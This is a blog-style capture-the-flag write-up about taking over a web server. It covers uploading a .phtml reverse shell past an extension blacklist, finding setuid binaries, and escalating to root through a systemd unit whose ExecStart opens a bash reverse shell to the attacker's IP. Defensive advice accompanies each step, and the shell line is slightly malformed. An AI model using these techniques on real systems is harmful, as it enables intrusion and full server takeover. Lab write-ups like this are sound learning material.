Blacklisting file extensions on file uploads didn't prevent me from gaining access to the web-server. After discovering a form that allowed me to upload files with the .phtml
extension I was able to spawn a reverse shell by modifying this script from pentest monkey to connect back to my NetCat listener, the script was executed after browsing to the path which it was uploaded to.
Filters for file extensions are use less if any user can achieve RCE through file uploads. In order to prevent this type of intrusion the developers could've set the permissions for uploaded files as non-executable, they also could've scanned files for tell tale signs of malicious activity such as containing strings like cat /etc/passwd
or /bin/sh
. Monitoring and restricting the child processes of the web-server wouldn't have been a bad idea either.
I now had access to the Apache server as the unprivileged www-data user. Linux systems have a variety of users that are used to handle daemons, jobs and other processes that are abstracted away from the user and ran in the background automatically. Typically "system or "daemon" users as I like to call them do not have a login profile and lack a password. In this case the Apache server is managed by the www-data user.
That being said these system users will run the same tasks and commands over and over again with very little variation, they are a program and lack randomness in their behavior. Ultimately security is about spotting deviations from normal behavior, if all of your users are in America and suddenly you start seeing traffic from the communist country of Westphelia that is a red flag. Think of it like this every day you walk into your home and Fido the doge greets you. One day you come home the door is wide open, there is some broken glass and Fido is missing. This would be an indication that APT-32 may have broken into your house and nabbed your beloved Fido.
On a side note I heard on a podcast that former special forces operative and UFC fighter Tim Kennedy is extremely organized in that he puts all of his forks, dishes, etc away in a systematic fashion. This allows him to spot when someone was messing with his stuff, as it is highly unlikely that an intruder would be detailed or sharp enough to pick up on or mimic on his organizational patterns.
Organization helps us spot deviations from normal behavior, if your room is messy and always looks like it was ransacked you won't be able to know when it's actually ransacked.
Before an attacker finds the juicy data they're looking for they need to figure out 1) who they are (whoami
), 2) Where they are (env
, pwd
) and 3) what kinds of permissions they have (ls -la
,cd
). These commands will typically always be run by humans and therefore should be blacklisted from system/daemonic accounts or trigger alarms as a set of intrusion canaries. Aside from specific commands child processes can be monitored for suspicious behavior as well, like spawning an SSH shell to the headquarters of the Westphelian Red Army.
I had penetrated the peripheries of the web-server and obtained access to an unprivileged account, that's nice and all but what we're really aiming for is pwnage ie. root access and the flag in the /home/root
directory. In order to escalate my privileges the CTF gave a hint that I needed to find a binary with permissions that enabled the setuid bit. After running this command: 'find /bin -perm /4000 ' I found that a handful of binaries including systemctl, the interface for interacting with systemd had the ability to run as the root user. Systemctl would prove to be the most viable of our options because it can run code, I now had a way to RCE as root.
Linux permissions are a way of specify which users and groups can read, write and execute files. Traditional file permissions are not the only set of permissions on a Linux system, users can harden their systems with SELinux and a special set of permissions called capabilities which manage calls to the Kernel come into play when using containerization technologies.
The setuid permission allows for a program to be used by anyone on the system, but when the executable is running it runs with root level permissions. This is dangerous because all of the child processes of the executable will also have root permissions, if I divert an executable from its normal functioning I can spawn a malicous process as root. But, thats a little complex for this CTF. Instead all I need to do is have systemd run a unit of my choosing.
At the time I was not familiar with systemd or systemctl so I had to hit the books literally and pick up my copy of How Linux Works 2nd Edition. Systemd can be briefly summarized as the brain of the Linux system, it is the first process in the system and sets everything else into motion. Systemctl is simply a programmatic interface for interacting with systemd.
Now the question arose as to "How do I execute code with systemctl?". I could of course run cat /home/root/flag.txt
with systemctl but that is extremly boring and I wouldn't have persistent root access. Why not get a root shell instead?
Systemctl interacts with systemd through what are called units, these units can be scheduled to do pretty much whatever you want on the system including open sockets, manage devices and mount file systems. After doing some research online I used the this unit file from to escalate my privileges, obviously I had to modify the IP to match that of my attack box and open up another NetCat listener to match the port in the unit file.
I could pretty much understand every line in the unit file except for:
ExecStart= /bin/bash -c 'bash -i >& /dev/tcp/10.10.22.22:/999 0>&1'
(10.10.22.22 is my attack box IP where my NC is listening on port 9999)
Basically all this line is saying is open up a bash shell and redirect the output to a tcp socket device that connects to /dev/tcp/my_host/my_port
. The /dev file is for managing hardware on the linux system, things like keyboards, USBs, network interfaces and even the disc itself are represented as files within this directory. The >&
redirects the standard output and error (stout, stderr) of the bash shell to a socket and the 0>&1
directs the standard input (stdin) of the shell to that of the open sockets file descriptor.
It was a bit of a hassle trying to use vi
through a reverse shell to create a unit file. So I just wrote the unit file on my attack box, gave it a .phtml
extension, uploaded it to the web-server and when I was ready pwn reverted the .phtml
to a .service
extension.
After firing up another NetCatlistener which would handle root connections it was time to run my unit. In order to enable the unit ie. get the system ready for running it I ran /bin/systemctl enable /var/www/internal/uploads/root.service
. I could then run the unit via /bin/systemctl start root.service
and bang I had root !
A security team could have thwarted this privilege escalation simply by turning the promiscuous setuid bit off or by monitoring systemctl access by the system users, who as I stated before are doing the same highly predictable tasks day in and day out. Because of this predictability the commands for the behavior of users can be monitored or blacklisted as it is highly unlikely the the www-data user is interacting with systemctl to do anything besides the Nginx stop, start and restart commands.
Top comments (0)